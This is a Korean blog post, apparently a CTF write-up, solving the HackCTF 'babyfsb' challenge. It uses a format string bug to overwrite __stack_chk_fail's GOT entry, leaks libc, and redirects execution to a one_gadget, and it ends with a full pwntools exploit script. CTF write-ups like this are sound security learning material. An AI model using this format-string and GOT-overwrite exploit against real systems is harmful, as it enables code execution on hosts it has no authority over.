ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pwnable] babyfsb
    Wargame/HackCTF 2020. 1. 10. 22:32

     

    들어가며

    you are sliver 문제에서 fsb를 다루고 자신감이 생겨서 도전한 문제이다.

    색다른 방식으로 libc를 leak함으로써 재미를 느낀 문제이다.

     

    문제해석

    gdb-peda$ pd main
    Dump of assembler code for function main:
    ...
       0x00000000004006e5 <+63>:    lea    rax,[rbp-0x40]
       0x00000000004006e9 <+67>:    mov    edx,0x40
       0x00000000004006ee <+72>:    mov    rsi,rax
       0x00000000004006f1 <+75>:    mov    edi,0x0
       0x00000000004006f6 <+80>:    call   0x400570 <read@plt>
       0x00000000004006fb <+85>:    lea    rax,[rbp-0x40]
       0x00000000004006ff <+89>:    mov    rdi,rax
       0x0000000000400702 <+92>:    mov    eax,0x0
       0x0000000000400707 <+97>:    call   0x400560 <printf@plt>
       0x000000000040070c <+102>:   mov    eax,0x0
       0x0000000000400711 <+107>:   mov    rcx,QWORD PTR [rbp-0x8]
       0x0000000000400715 <+111>:   xor    rcx,QWORD PTR fs:0x28
       0x000000000040071e <+120>:   je     0x400725 <main+127>
       0x0000000000400720 <+122>:   call   0x400550 <__stack_chk_fail@plt>
    ...

    read로 stack에 0x40(64) 만큼 입력받고, rdi인자 하나를 통해 printf 함수를 호출한다. <- 이때 fsb가 발생!

    그리고, canary가 걸려있어서 canary 값이 변조된다면 __stack_chk_fail 함수가 호출된다.

     

    printf@got를 변조해봤자, 이후에 printf 함수가 나오지 않아 쓸모가 없다.

    그러므로 __stack_chk_fail@got를 가지고 다음과 같은 값을 얻어낼 것이다.

    1. <libc_start_main+240> (main 함수의 ret) 주소 Leak -> libc_base를 알아낼 수 있음.

    2. 동시에 __stack_chk_fail@got를 main함수로 변조

     

    이렇게 하기 위해선 강제로 canary 값을 변조시켜야 한다.

     

    풀이

    일단 you are silver 문제와 비슷하게 offset을 구해야 한다.

    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/babyfsb(master)# ./babyfsb
    hello
    AAAAAAAA %6$p
    AAAAAAAA 0x4141414141414141

    offset6 이며, __stack_chk_fail@got가 들어가는 offset을 구해줘야 한다.

    %hn%hn전까지 쓰여진 byte만큼을 해당 포인터에 쓰기작업을 수행한다.

    그러므로, payload를 짜고 그 길이를 확인한 후에 offset을 구해야 한다.

     

    payload는 다음과 같다.

    main = e.symbols['main']
    main_low = main & 0xffff
    
    # offset 6
    payload = ''
    payload += '%{}c'.format(main_low)			# duplicate source
    payload += '%?$hn'					# offset + (len(payload)) / 8
    payload += '%??$p'					# (libc_start_main+240 - &offset) / 8 + offset
    #print(len(payload))					# 16
    payload += p64(stack_chk_fail)			# duplicate target
    payload += "B"*(56-len(payload))			# make stack smash

    __stack_chk_fail@got 함수가 나오기 전까지의 길이를 구해야 한다.

    여기서는 memory leak을 위한 %p가 들어가 있으므로, 그것까지 길이에 넣는다.

    총 길이는 16으로, offset 단위를 맞춰주기 위해 8을 나누고 [2], offset(6)을 더해준다. [8]

     

    다음으로 구해야 할 값은 <libc_start_main+240> 의 offset이다.

    gdb-peda$ x/10gx $rsp
    0x7ffe5c8ddbc0: 0x4141414141414141		0x000000000040070a
    0x7ffe5c8ddbd0: 0x00007ffe5c8ddbfe		0x0000000000000000
    0x7ffe5c8ddbe0: 0x0000000000400730		0x00000000004005b0
    0x7ffe5c8ddbf0: 0x00007ffe5c8ddce0		0x3289ac255742dc00
    0x7ffe5c8ddc00: 0x0000000000400730		0x00007f805d645830
    gdb-peda$ x/gx $rbp+8
    0x7ffe5c8ddc08: 0x00007f805d645830
    gdb-peda$ x/gx 0x00007f805d645830
    0x7f805d645830 <__libc_start_main+240>: 0x31000197f9e8c789
    gdb-peda$ p/x ($rbp+8)-$rsp
    $1 = 0x48

    offset의 주소로부터 <libc_start_main+240>를 빼면 0x48(72) 가 나온다.

    이를 offset 단위로 맞추기 위해 8을 나누고 [9], offset(6)을 더해준다. [15]

     

    이때, payload는 다음과 같다.

    main = e.symbols['main']
    main_low = main & 0xffff
    
    # offset 6
    payload = ''
    payload += '%{}c'.format(main_low)			# duplicate source
    payload += '%8$hn'					# offset + (len(payload)) / 8
    payload += '%15$p'					# (libc_start_main+240 - &offset) / 8 + offset
    #print(len(payload))					# 16
    payload += p64(stack_chk_fail)			# duplicate target
    payload += "B"*(56-len(payload))			# make stack smash

    main_low를 구해준 이유는 __stack_chk_fail 함수가 이전에 call 되지 않았기에,

    2byte만을 변조하면 되기 때문이다.

    gdb-peda$ x/i 0x400550
       0x400550 <__stack_chk_fail@plt>:     jmp    QWORD PTR [rip+0x200aca]        # 0x601020
    gdb-peda$ x/gx 0x601020
    0x601020:       0x0000000000400556
    gdb-peda$ x/i *main
       0x4006a6 <main>:     push   rbp

     


     

    <libc_start_main+240> 주소가 leak되고, main함수로 가지는 것을 볼 수 있다.

    이제, libc_base를 알았으니 exploit 할 일만 남았다.

    방식은 __stack_chk_fail@gotoneshot gadget으로 변조시키는 방법을 택했다.

     

    exploit.py

     

    from pwn import *
    
    #r = process('./babyfsb')
    r = remote('ctf.j0n9hyun.xyz', 3032)
    e = ELF('./babyfsb')
    libc = ELF('./libc.so.6')
    
    main = e.symbols['main']
    main_low = main & 0xffff
    
    stack_chk_fail = e.got['__stack_chk_fail']
    libc_start_main_offset = libc.symbols['__libc_start_main']
    
    # offset 6
    payload = ''
    payload += '%{}c'.format(main_low)			# duplicate source
    payload += '%8$hn'					# offset + (len(payload)) / 8
    payload += '%15$p'					# (libc_start_main+240 - &offset) / 8 + offset
    #print(len(payload))					# 16
    payload += p64(stack_chk_fail)			# duplicate target
    payload += "B"*(56-len(payload))			# make stack smash
    
    r.sendlineafter('\n', payload)
    r.recvuntil('0x')
    leak = int(r.recv(12), 16)
    
    one_gadget = 0x45216
    libc_base = (leak - 240) - libc_start_main_offset
    one_gadget = libc_base + one_gadget
    
    one_gadget_low		= one_gadget & 0xffff
    one_gadget_middle	= (one_gadget >> 16) & 0xffff
    one_gadget_high		= (one_gadget >> 32) & 0xffff
    
    low = one_gadget_low
    
    if one_gadget_middle > one_gadget_low:
    	middle = one_gadget_middle - one_gadget_low
    else:
    	middle = (0x10000 + one_gadget_middle) - one_gadget_low
    	
    if one_gadget_high > one_gadget_middle:
    	high = one_gadget_high - one_gadget_middle
    else:
    	high = (0x10000 + one_gadget_high) - one_gadget_middle
    	
    # offset 6
    payload = ''
    payload += '%{}c'.format(low)			# duplicate source 1
    payload += '%11$hn'				# offset + (len(payload)) / 8
    payload += '%{}c'.format(middle)		# duplicate source 2
    payload += '%12$hn'				# offset + (len(payload)) / 8 + 1
    payload += '%{}c'.format(high)		# duplicate source 3
    payload += '%13$hn'				# offset + (len(payload)) / 8 + 2
    payload += 'A'*(8 - (len(payload) % 8))	# padding
    #print(len(payload))				# 40
    payload += p64(stack_chk_fail)		# duplicate target 1
    payload += p64(stack_chk_fail + 2)		# duplicate target 2
    payload += p64(stack_chk_fail + 4)		# duplicate target 3
    payload += "B"*(56-len(payload))		# make stack smash
    
    r.sendlineafter('\n', payload)
    r.interactive()

    'Wargame > HackCTF' 카테고리의 다른 글

    [Pwnable] RTC  (0) 2020.01.12
    [Pwnable] SysROP  (0) 2020.01.12
    [Pwnable] You are silver  (0) 2020.01.08
    [Pwnable] UAF  (0) 2020.01.05
    [Pwnable] Look at me  (0) 2020.01.01

    댓글

Designed by Tistory.